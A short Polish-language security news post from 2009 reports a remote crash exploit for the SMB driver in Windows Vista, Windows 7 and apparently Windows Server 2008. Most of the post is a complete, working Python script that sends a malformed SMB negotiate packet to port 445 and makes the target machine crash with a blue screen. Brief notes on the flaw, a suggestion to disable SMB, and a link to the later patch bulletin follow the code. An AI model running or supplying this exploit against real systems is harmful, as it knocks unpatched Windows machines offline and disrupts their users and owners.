4/10/2009
W sieci pojawił się pierwszy zdalny exploit, pozwalający zawiesić systemy Windows Vista, Windows 7 i najprawdopodobniej Windows Server 2008.
#!/usr/bin/python from socket import socket from time import sleep host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> :) normal operation should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
Exploit wykorzystuję błąd w nowym sterowniku do obsługi protokołu SMB. Jeśli podczas negocjowania połączenia SMB, w nagłówku “Process Id High” wyśle się znak “&”, atakowana maszyna zawiesi się a na jej monitorze pojawi się B.S.O.D.
Obrona
Póki co, łatka nie jest dostępna. Zaleca się wyłączenie protokołu SMB.
Systemy Windows XP i Windows 2000 nie są podatne na powyższy atak, gdyż korzystają one z innej wersji sterownika do obsługi połączeń SMB.
na win7rc dziala ale nie na rtm
patched:
http://www.microsoft.com/technet/security/Bulletin/MS10-012.mspx